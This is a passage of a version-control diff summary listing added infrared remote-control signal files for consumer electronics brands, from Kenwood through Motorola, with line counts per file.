50 + .../_CSV-IRDB_/Kenwood/CD Player/182,-1.ir | 620 + .../_CSV-IRDB_/Kenwood/CD Player/182,0.ir | 410 + .../_CSV-IRDB_/Kenwood/CD Player/184,-1.ir | 32 + .../Kenwood/Cassette Tape/184,-1.ir | 140 + .../_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir | 230 + .../_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir | 974 + .../_CSV-IRDB_/Kenwood/DVD Player/182,0.ir | 230 + .../_CSV-IRDB_/Kenwood/DVD Player/182,12.ir | 998 + .../_CSV-IRDB_/Kenwood/DVD Player/182,88.ir | 236 + .../_CSV-IRDB_/Kenwood/DVD Player/184,0.ir | 8 + .../_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir | 302 + .../Kenwood/Pre-Amplifier/182,75.ir | 32 + .../Kenwood/Pre-Amplifier/184,-1.ir | 530 + .../_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir | 98 + .../_CSV-IRDB_/Kenwood/Receiver/1,-1.ir | 236 + .../_CSV-IRDB_/Kenwood/Receiver/12,-1.ir | 122 + .../_CSV-IRDB_/Kenwood/Receiver/182,75.ir | 128 + .../_CSV-IRDB_/Kenwood/Receiver/184,-1.ir | 1790 ++ .../_CSV-IRDB_/Kenwood/Receiver/184,0.ir | 578 + .../_CSV-IRDB_/Kenwood/Receiver/184,1.ir | 362 + .../_CSV-IRDB_/Kenwood/Receiver/184,2.ir | 176 + .../_CSV-IRDB_/Kenwood/Receiver/184,3.ir | 230 + .../_CSV-IRDB_/Kenwood/Receiver/184,4.ir | 116 + .../_CSV-IRDB_/Kenwood/Receiver/184,5.ir | 26 + .../_CSV-IRDB_/Kenwood/Receiver/184,6.ir | 104 + .../_CSV-IRDB_/Kenwood/Receiver/184,7.ir | 80 + .../_CSV-IRDB_/Kenwood/Receiver/25,-1.ir | 128 + .../_CSV-IRDB_/Kenwood/Receiver/4,-1.ir | 134 + .../_CSV-IRDB_/Kenwood/Receiver/40,-1.ir | 242 + .../Kenwood/Satellite Radio/2,255.ir | 284 + .../_CSV-IRDB_/Kenwood/Sirius/2,255.ir | 176 + .../_CSV-IRDB_/Kenwood/Tuner/182,75.ir | 32 + .../_CSV-IRDB_/Kenwood/Tuner/184,-1.ir | 464 + .../_CSV-IRDB_/Kenwood/Tuner/184,1.ir | 62 + .../Kenwood/Unknown_RC-160/184,-1.ir | 302 + .../Kenwood/Unknown_RC-A0400/184,-1.ir | 194 + .../Kenwood/Unknown_RC-D0705.conf/182,12.ir | 230 + .../Kenwood/Unknown_RC-M0301/182,4.ir | 188 + .../Kenwood/Unknown_RC-M0701/182,4.ir | 218 + .../Kenwood/Unknown_RC-P030/182,-1.ir | 170 + .../Kenwood/Unknown_RC-P0400/182,-1.ir | 146 + .../Kenwood/Unknown_RC-P070/182,-1.ir | 290 + .../Kenwood/Unknown_RC-P0702/182,-1.ir | 188 + .../Kenwood/Unknown_RC-P0715/182,-1.ir | 158 + .../Kenwood/Unknown_RC-P2030/182,-1.ir | 146 + .../Kenwood/Unknown_RC-P600/182,-1.ir | 122 + .../Kenwood/Unknown_RC-R0311E/44,44.ir | 284 + .../Kenwood/Unknown_RC-RO503/184,-1.ir | 170 + .../Kenwood/Unknown_rc-p800/182,-1.ir | 56 + .../Kenwood/Unknown_rc-p87/182,-1.ir | 98 + .../infrared/_CSV-IRDB_/Kenwood/VCR/184,-1.ir | 236 + .../infrared/_CSV-IRDB_/Kenwood/VCR/184,1.ir | 32 + .../_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir | 152 + .../Pre-Amplifier/28,-1.ir | 200 + .../Kinergetics Research/Receiver/0,-1.ir | 158 + .../Surround Processor/7,-1.ir | 74 + .../infrared/_CSV-IRDB_/Kingbox/h265/1,254.ir | 236 + .../_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir | 230 + .../_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir | 122 + .../Knoll/Video Projector/24,233.ir | 122 + .../_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir | 146 + .../_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir | 152 + .../_CSV-IRDB_/Krell/CD Player/16,-1.ir | 38 + .../_CSV-IRDB_/Krell/CD Player/20,-1.ir | 8 + .../_CSV-IRDB_/Krell/DVD Player/27,-1.ir | 506 + .../_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir | 116 + .../_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir | 152 + .../_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir | 104 + .../_CSV-IRDB_/Krell/Receiver/28,-1.ir | 8 + .../_CSV-IRDB_/Krell/Receiver/31,-1.ir | 8 + .../Krell/Surround Processor/16,-1.ir | 20 + .../Krell/Surround Processor/25,-1.ir | 98 + .../Krell/Surround Processor/28,-1.ir | 224 + .../Krell/Surround Processor/31,-1.ir | 8 + .../_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir | 272 + .../Kworld/Unknown_DVB-T/134,107.ir | 428 + .../Kworld/Unknown_KWorld-DVBT-220/0,251.ir | 248 + .../Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir | 248 + .../Kworld/Unknown_VS-PRV-TV/134,107.ir | 266 + .../_CSV-IRDB_/Kyocera/CD Player/119,-1.ir | 74 + .../_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir | 212 + .../_CSV-IRDB_/L+S/Unknown_LS/164,164.ir | 86 + .../_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir | 200 + .../infrared/_CSV-IRDB_/LG/Blu-Ray/45,45.ir | 542 + .../_CSV-IRDB_/LG/DVD Player/16,16.ir | 14 + .../_CSV-IRDB_/LG/DVD Player/44,44.ir | 8 + .../_CSV-IRDB_/LG/DVD Player/45,45.ir | 524 + .../infrared/_CSV-IRDB_/LG/DVR/45,45.ir | 314 + .../_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir | 92 + .../infrared/_CSV-IRDB_/LG/Plasma/1,1.ir | 14 + .../infrared/_CSV-IRDB_/LG/Plasma/4,-1.ir | 566 + .../_CSV-IRDB_/LG/Satellite/247,-1.ir | 182 + .../infrared/_CSV-IRDB_/LG/Sound Bar/44,44.ir | 182 + .../infrared/_CSV-IRDB_/LG/TV/1,1.ir | 14 + .../infrared/_CSV-IRDB_/LG/TV/4,-1.ir | 1742 ++ .../_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir | 248 + .../LG/Unknown_6710CDAP01B/44,44.ir | 302 + .../_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir | 248 + .../_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir | 236 + .../_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir | 206 + .../_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir | 158 + .../_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir | 176 + .../_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir | 170 + .../_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir | 80 + .../_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir | 248 + .../_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir | 290 + .../_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir | 290 + .../_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir | 194 + .../_CSV-IRDB_/LG/Unknown_BD300/45,45.ir | 302 + .../_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir | 194 + .../LG/Unknown_LG-AKB69680403/4,-1.ir | 248 + .../_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir | 170 + .../LG/Unknown_LG.6710V00005G/110,-1.ir | 218 + .../LG/Unknown_LG.6710V00008K/4,-1.ir | 170 + .../_CSV-IRDB_/LG/Unknown_LG/110,-1.ir | 80 + .../_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir | 260 + .../_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir | 254 + .../LG/Unknown_PBAFA0189A/110,-1.ir | 224 + .../_CSV-IRDB_/LP Morgan/Screen/0,-1.ir | 38 + .../infrared/_CSV-IRDB_/LXI/TV/4,-1.ir | 182 + .../_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir | 266 + .../Lacie/Unknown_PNE-N1SS/0,127.ir | 104 + .../Lasonic/Unknown_LasonicR2000/16,-1.ir | 278 + .../LeadTek/Unknown_RM-0007/3,-1.ir | 194 + .../LeadTek/Unknown_Y0400046/3,-1.ir | 248 + .../LeadTek/Unknown_Y0400052/3,-1.ir | 338 + .../LeadTek/Unknown_Y04G0004/3,-1.ir | 296 + .../Leadership/Unknown_GOTEC/0,-1.ir | 296 + .../_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir | 158 + .../_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir | 182 + .../_CSV-IRDB_/Lexicon/Receiver/130,11.ir | 236 + .../Lexicon/Surround Processor/130,11.ir | 1610 ++ .../Lexicon/Surround Processor/133,2.ir | 788 + .../Lexicon/Surround Processor/28,-1.ir | 458 + .../_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir | 146 + .../Life-view/Unknown_flyvideo/96,1.ir | 242 + .../_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir | 134 + .../Lifetec/Unknown_LT9096/128,123.ir | 200 + .../_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir | 188 + .../Lifetec/Unknown_remote/164,164.ir | 50 + .../Lightolier/Lighting Controller/0,-1.ir | 32 + .../Linksys/Media Adapter/134,107.ir | 8 + .../Linksys/Unknown_WMA11B-R/134,107.ir | 134 + .../_CSV-IRDB_/Linn/CD Player/20,-1.ir | 134 + .../_CSV-IRDB_/Linn/Classic music/16,-1.ir | 122 + .../_CSV-IRDB_/Linn/Classic music/17,-1.ir | 56 + .../_CSV-IRDB_/Linn/Classic music/20,-1.ir | 158 + .../Linn/Surround Processor/16,-1.ir | 206 + .../Linn/Surround Processor/23,-1.ir | 116 + .../Linn/Surround Processor/4,-1.ir | 14 + .../_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir | 218 + .../LiteTouch/Lighting Controller/129,-1.ir | 56 + .../LiteTouch/Lighting Controller/130,-1.ir | 56 + .../LiteTouch/Lighting Controller/131,-1.ir | 56 + .../LiteTouch/Lighting Controller/132,-1.ir | 56 + .../LiteTouch/Lighting Controller/133,-1.ir | 56 + .../LiteTouch/Lighting Controller/134,-1.ir | 56 + .../LiteTouch/Lighting Controller/135,-1.ir | 56 + .../LiteTouch/Lighting Controller/136,-1.ir | 56 + .../LiteTouch/Lighting Controller/137,-1.ir | 56 + .../LiteTouch/Lighting Controller/144,-1.ir | 56 + .../LiteTouch/Lighting Controller/145,-1.ir | 56 + .../LiteTouch/Lighting Controller/146,-1.ir | 56 + .../LiteTouch/Lighting Controller/147,-1.ir | 56 + .../LiteTouch/Lighting Controller/148,-1.ir | 56 + .../LiteTouch/Lighting Controller/149,-1.ir | 56 + .../LiteTouch/Lighting Controller/150,-1.ir | 56 + .../LiteTouch/Lighting Controller/151,-1.ir | 56 + .../LiteTouch/Lighting Controller/152,-1.ir | 56 + .../LiteTouch/Lighting Controller/153,-1.ir | 56 + .../LiteTouch/Lighting Controller/255,-1.ir | 56 + .../_CSV-IRDB_/Loewe/DVD Player/0,-1.ir | 20 + .../_CSV-IRDB_/Loewe/DVD Player/32,-1.ir | 392 + .../_CSV-IRDB_/Loewe/DVD Player/33,-1.ir | 8 + .../_CSV-IRDB_/Loewe/DVD Player/4,-1.ir | 188 + .../_CSV-IRDB_/Loewe/DVD Player/45,45.ir | 242 + .../infrared/_CSV-IRDB_/Loewe/TV/0,-1.ir | 968 + .../infrared/_CSV-IRDB_/Loewe/TV/27,-1.ir | 20 + .../infrared/_CSV-IRDB_/Loewe/TV/31,-1.ir | 8 + .../infrared/_CSV-IRDB_/Loewe/TV/33,-1.ir | 8 + .../infrared/_CSV-IRDB_/Loewe/TV/5,-1.ir | 44 + .../infrared/_CSV-IRDB_/Loewe/TV/6,-1.ir | 104 + .../_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir | 200 + .../_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir | 266 + .../infrared/_CSV-IRDB_/Loewe/VCR/144,0.ir | 122 + .../infrared/_CSV-IRDB_/Loewe/VCR/144,1.ir | 62 + .../infrared/_CSV-IRDB_/Loewe/VCR/5,-1.ir | 182 + .../Logitech/Unknown_HarmonyOne/30,-1.ir | 230 + .../_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir | 98 + .../_CSV-IRDB_/Lumagen/Scaler/2,-1.ir | 152 + .../_CSV-IRDB_/Luxman/CD Player/204,-1.ir | 194 + .../_CSV-IRDB_/Luxman/Receiver/204,-1.ir | 128 + .../_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir | 230 + .../M3 Electronic/Unknown_DVD-209/0,-1.ir | 182 + .../MAGIC LIGHTING/Lighting/0,-1.ir | 146 + .../MAGNASONIC/Unknown_TV/131,122.ir | 170 + .../MCL/Unknown_RemoteController/64,-1.ir | 170 + .../METRONIC/Unknown_060501/0,127.ir | 212 + .../_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir | 176 + .../infrared/_CSV-IRDB_/MGA/VCR/87,-1.ir | 170 + .../_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir | 128 + .../_CSV-IRDB_/MISSION/CD Player/20,-1.ir | 44 + .../_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir | 272 + .../MS-Tech/Unknown_MS-Tech/0,95.ir | 272 + .../_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir | 284 + .../_CSV-IRDB_/MSI/Unknown_PC/134,107.ir | 206 + .../MSI/Unknown_lircd.conf/134,107.ir | 596 + .../_CSV-IRDB_/MSI/Unknown_test/134,107.ir | 146 + .../Unknown_MyHD/48,-1.ir | 206 + .../_CSV-IRDB_/Madrigal/CD Player/0,-1.ir | 50 + .../_CSV-IRDB_/Madrigal/CD Player/2,-1.ir | 92 + .../_CSV-IRDB_/Madrigal/CD Player/7,-1.ir | 74 + .../_CSV-IRDB_/Madrigal/Receiver/5,-1.ir | 260 + .../_CSV-IRDB_/Magnavox/DSS/128,63.ir | 170 + .../_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir | 212 + .../_CSV-IRDB_/Magnavox/DVD Player/135,34.ir | 242 + .../_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir | 200 + .../Magnavox/DVD Recorder/135,34.ir | 152 + .../infrared/_CSV-IRDB_/Magnavox/TV/0,-1.ir | 158 + .../Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir | 158 + .../infrared/_CSV-IRDB_/Magnavox/VCR/5,-1.ir | 230 + .../_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir | 134 + .../_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir | 182 + .../Majestic/Unknown_DVX377USB/0,-1.ir | 320 + .../Makita/Drapery Controller/2,-1.ir | 152 + .../_CSV-IRDB_/Malata/DVD Player/1,-1.ir | 248 + .../_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir | 230 + .../_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir | 278 + .../_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir | 272 + .../_CSV-IRDB_/Marantz/Amplifier/16,-1.ir | 86 + .../_CSV-IRDB_/Marantz/Amplifier/17,-1.ir | 8 + .../_CSV-IRDB_/Marantz/Amplifier/18,-1.ir | 8 + .../_CSV-IRDB_/Marantz/Amplifier/20,-1.ir | 8 + .../_CSV-IRDB_/Marantz/Amplifier/21,-1.ir | 8 + .../_CSV-IRDB_/Marantz/Amplifier/23,-1.ir | 8 + .../_CSV-IRDB_/Marantz/Amplifier/26,-1.ir | 8 + .../_CSV-IRDB_/Marantz/CD Changer/20,-1.ir | 194 + .../_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir | 176 + .../_CSV-IRDB_/Marantz/CD Player/20,-1.ir | 746 + .../_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir | 98 + .../_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir | 8 + .../infrared/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir | 8 + .../_CSV-IRDB_/Marantz/D-VHS/67,-1.ir | 272 + .../_CSV-IRDB_/Marantz/DVD Player/20,-1.ir | 8 + .../_CSV-IRDB_/Marantz/DVD Player/4,-1.ir | 812 + .../_CSV-IRDB_/Marantz/DVD Player/41,-1.ir | 20 + .../_CSV-IRDB_/Marantz/DVD Player/69,-1.ir | 260 + .../infrared/_CSV-IRDB_/Marantz/DVD/4,-1.ir | 284 + .../infrared/_CSV-IRDB_/Marantz/DVD/69,-1.ir | 254 + .../_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir | 8 + .../_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir | 14 + .../Marantz/Plasma Displays/24,-1.ir | 122 + .../Marantz/Plasma Displays/24,24.ir | 98 + .../_CSV-IRDB_/Marantz/Plasma/0,-1.ir | 8 + .../_CSV-IRDB_/Marantz/Plasma/24,-1.ir | 200 + .../_CSV-IRDB_/Marantz/Plasma/24,24.ir | 224 + .../_CSV-IRDB_/Marantz/Plasma/24,247.ir | 14 + .../_CSV-IRDB_/Marantz/Plasma/80,-1.ir | 104 + .../_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir | 8 + .../_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir | 8 + .../_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir | 8 + .../_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir | 20 + .../_CSV-IRDB_/Marantz/Projector/0,-1.ir | 224 + .../_CSV-IRDB_/Marantz/Receiver/0,-1.ir | 218 + .../_CSV-IRDB_/Marantz/Receiver/12,-1.ir | 32 + .../_CSV-IRDB_/Marantz/Receiver/16,-1.ir | 716 + .../_CSV-IRDB_/Marantz/Receiver/17,-1.ir | 1130 ++ .../_CSV-IRDB_/Marantz/Receiver/176,-1.ir | 98 + .../_CSV-IRDB_/Marantz/Receiver/18,-1.ir | 50 + .../_CSV-IRDB_/Marantz/Receiver/20,-1.ir | 38 + .../_CSV-IRDB_/Marantz/Receiver/21,-1.ir | 8 + .../_CSV-IRDB_/Marantz/Receiver/23,-1.ir | 26 + .../_CSV-IRDB_/Marantz/Receiver/26,-1.ir | 62 + .../_CSV-IRDB_/Marantz/Receiver/39,-1.ir | 8 + .../_CSV-IRDB_/Marantz/Receiver/4,-1.ir | 62 + .../_CSV-IRDB_/Marantz/Receiver/5,-1.ir | 50 + .../_CSV-IRDB_/Marantz/Receiver/6,-1.ir | 80 + .../_CSV-IRDB_/Marantz/Receiver/7,-1.ir | 8 + .../_CSV-IRDB_/Marantz/Receiver/8,-1.ir | 8 + .../infrared/_CSV-IRDB_/Marantz/TV/0,-1.ir | 62 + .../infrared/_CSV-IRDB_/Marantz/TV/144,0.ir | 8 + .../infrared/_CSV-IRDB_/Marantz/TV/24,-1.ir | 80 + .../infrared/_CSV-IRDB_/Marantz/TV/24,24.ir | 134 + .../infrared/_CSV-IRDB_/Marantz/TV/24,247.ir | 14 + .../infrared/_CSV-IRDB_/Marantz/TV/80,-1.ir | 104 + .../_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir | 152 + .../_CSV-IRDB_/Marantz/Tuner/16,-1.ir | 32 + .../_CSV-IRDB_/Marantz/Tuner/17,-1.ir | 302 + .../_CSV-IRDB_/Marantz/Tuner/20,-1.ir | 8 + .../Marantz/Unknown_Marantz-RC-63CD/20,-1.ir | 182 + .../Marantz/Unknown_RC-1400/4,-1.ir | 260 + .../Marantz/Unknown_RC-65CD/20,-1.ir | 140 + .../Marantz/Unknown_RC-72CD/20,-1.ir | 212 + .../Marantz/Unknown_RC4000CD/20,-1.ir | 158 + .../Marantz/Unknown_RC4300CC/20,-1.ir | 170 + .../_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir | 254 + .../infrared/_CSV-IRDB_/Marantz/VCR/134,97.ir | 62 + .../infrared/_CSV-IRDB_/Marantz/VCR/23,-1.ir | 8 + .../infrared/_CSV-IRDB_/Marantz/VCR/5,-1.ir | 374 + .../Marantz/Video Projector/0,-1.ir | 266 + .../Marantz/Video Projector/13,-1.ir | 20 + .../_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir | 14 + .../_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir | 20 + .../Mark Levinson/CD Player/1,-1.ir | 152 + .../Mark Levinson/CD Player/16,-1.ir | 8 + .../Mark Levinson/CD Player/2,-1.ir | 62 + .../Mark Levinson/CD Player/3,-1.ir | 164 + .../Mark Levinson/Pre-Amplifier/4,-1.ir | 8 + .../Mark Levinson/Pre-Amplifier/7,-1.ir | 86 + .../_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir | 248 + .../_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir | 284 + .../_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir | 320 + .../_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir | 260 + .../infrared/_CSV-IRDB_/Maxx/Plasma/32,64.ir | 8 + .../infrared/_CSV-IRDB_/Maxx/Plasma/96,-1.ir | 260 + .../_CSV-IRDB_/McIntosh/CD Player/202,149.ir | 212 + .../McIntosh/Control System/202,85.ir | 74 + .../_CSV-IRDB_/McIntosh/DVD Player/128,80.ir | 224 + .../_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir | 152 + .../McIntosh/Pre-Amplifier/202,85.ir | 344 + .../_CSV-IRDB_/McIntosh/Receiver/202,85.ir | 320 + .../Medion/Unknown_JX-2006B/0,-1.ir | 146 + .../_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir | 200 + .../Medion/Unknown_MD81035/23,105.ir | 296 + .../Medion/Unknown_MD81880/23,105.ir | 254 + .../Medion/Unknown_medion/128,123.ir | 212 + .../_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir | 188 + .../Melectronic/Unknown_PP3600/2,-1.ir | 128 + .../Meliconi/Unknown_Facile/0,-1.ir | 176 + .../Meliconi/Unknown_MELICONI-U3/10,-1.ir | 290 + .../Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir | 86 + .../_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir | 44 + .../_CSV-IRDB_/Memorex/DVD Player/0,-1.ir | 176 + .../infrared/_CSV-IRDB_/Memorex/TV/4,-1.ir | 134 + .../Meridian/800 System Remote/19,-1.ir | 374 + .../_CSV-IRDB_/Meridian/CD Player/19,-1.ir | 332 + .../_CSV-IRDB_/Meridian/CD-R/19,-1.ir | 494 + .../_CSV-IRDB_/Meridian/DVD Player/19,-1.ir | 638 + .../_CSV-IRDB_/Meridian/DVD Player/69,-1.ir | 8 + .../infrared/_CSV-IRDB_/Meridian/DVD/19,-1.ir | 494 + .../Meridian/Pre-Amplifier/19,-1.ir | 212 + .../Meridian/Pre-Amplifier/26,73.ir | 20 + .../_CSV-IRDB_/Meridian/Processor/19,-1.ir | 38 + .../Meridian/Remote Control/19,-1.ir | 1130 ++ .../Meridian/Surround Processor/19,-1.ir | 650 + .../Meridian/System Remote/19,-1.ir | 260 + .../_CSV-IRDB_/Metronome/CD Player/20,-1.ir | 128 + .../_CSV-IRDB_/Metrox/Humidifier/128,-1.ir | 44 + .../_CSV-IRDB_/Micromega/DVD Player/4,-1.ir | 182 + .../_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir | 164 + .../Microsoft/Game Console/116,15.ir | 368 + .../_CSV-IRDB_/Microsoft/Game Console/4,15.ir | 14 + .../_CSV-IRDB_/Microsoft/Game Console/5,-1.ir | 272 + .../Microsoft/Home Media PC/4,15.ir | 272 + .../_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir | 272 + .../Microsoft/Unknown_Xbox360/116,15.ir | 278 + .../Microsoft/Unknown_xbox/10,-1.ir | 164 + .../Microsoft/Windows Media Center/4,15.ir | 434 + .../Midiland/Digital Decoder/81,175.ir | 128 + .../_CSV-IRDB_/Mintek/DVD Player/0,153.ir | 152 + .../Mitochiba/Unknown_JX-9902/134,107.ir | 296 + .../Mitochiba/Unknown_KF220100/134,107.ir | 296 + .../_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir | 296 + .../_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir | 212 + .../Mitsubishi/Cassette Tape/119,-1.ir | 266 + .../Mitsubishi/Cassette Tape/138,-1.ir | 86 + .../Mitsubishi/Cassette Tape/141,-1.ir | 158 + .../_CSV-IRDB_/Mitsubishi/DSS/12,251.ir | 212 + .../_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir | 20 + .../_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir | 14 + .../Mitsubishi/DVD Player/103,-1.ir | 458 + .../_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir | 146 + .../_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir | 176 + .../_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir | 254 + .../Mitsubishi/HDTV Receiver/12,251.ir | 170 + .../Mitsubishi/HDTV Receiver/71,-1.ir | 14 + .../Mitsubishi/Laser Disc/168,-1.ir | 590 + .../Mitsubishi/Laser Disc/175,-1.ir | 14 + .../_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir | 134 + .../_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir | 26 + .../_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir | 206 + .../_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir | 8 + .../_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir | 170 + .../_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir | 1268 ++ .../_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir | 1040 ++ .../_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir | 884 + .../_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir | 170 + .../_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir | 182 + .../_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir | 488 + .../_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir | 170 + .../infrared/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir | 122 + .../_CSV-IRDB_/Mitsubishi/TV/119,-1.ir | 14 + .../_CSV-IRDB_/Mitsubishi/TV/71,-1.ir | 1082 ++ .../_CSV-IRDB_/Mitsubishi/TV/87,-1.ir | 74 + .../_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir | 212 + .../_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir | 662 + .../_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir | 1400 ++ .../Mitsubishi/Unknown_75501/87,-1.ir | 200 + .../Mitsubishi/Unknown_HD1000/240,-1.ir | 152 + .../Mitsubishi/Unknown_HS-349/87,-1.ir | 146 + .../Mitsubishi/Unknown_mitsubishi/71,-1.ir | 140 + .../_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir | 374 + .../_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir | 26 + .../_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir | 8 + .../_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir | 140 + .../_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir | 68 + .../_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir | 416 + .../_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir | 2924 +++ .../Mitsubishi/Video Projector/71,-1.ir | 200 + .../Monoprice/Unknown_HDX(C)-501E/0,-1.ir | 50 + .../Morgans Daytona/Unknown_T15/128,38.ir | 134 + .../Unknown_Tornado/202,165.ir | 128 + .../_CSV-IRDB_/Motorola/Cable Box/0,-1.ir | 1580 ++ .../_CSV-IRDB_/Motorola/Cable Box/1,-1.ir | 32 + .../_CSV-IRDB_/Motorola/Cable Box/15,-1.ir | 20 + .../_CSV-IRDB_/Motorola/Cable Box/170,-1.ir | 26 + .../_CSV-IRDB_/Motorola/Cable Box/18,0.ir | 236 + .../_CSV-IRDB_/Motorola/Cable Box/3,-1.ir | 8 + .../_CSV-IRDB_/Motorola/Cable Box/4,-1.ir | 26 + .../_CSV-IRDB_/Motorola/Cable Box/5,-1.ir | 20 + .../_CSV-IRDB_/Motorola/Cable Box/5,1.ir | 20 + .../_CSV-IRDB_/Motorola/Cable Box/64,-1.ir | 20 + .../_CSV-IRDB_/Motorola/Cable Box/68,-1.ir | 8 + .../_CSV-IRDB_/Motorola/Cable Box/9,-1.ir | 8 + .../infrared/_CSV-IRDB_/Motorola/Cox/0,-1.ir | 338 + .../infrared/_CSV-IRDB_/Motorola/Cox/64,-1.ir | 20 + .../infrared/_CSV-IRDB_/Motorola/DSS/1,-1.ir | 8 + .../infrared/_CSV-IRDB_/Motorola/DVR/0,-1.ir | 278 + .../_CSV-IRDB_/Motorola/IP box/16,0.ir | 242 + .../_CSV-IRDB_/Motorola/Remote/0,-1.ir | 320 + .../_CSV-IRDB_/Motorola/Remote/3,-1.ir | 8 + .../_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir | 182 + .../_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir | 218 + .../Motorola/Unknown_DCH3416/0,-1.ir | 206 + .../Motorola/Unknown_DCT2000/0,-1.ir | 248 + .../Motorola/Unknown_DCT2244/0,-1.ir | 62 + 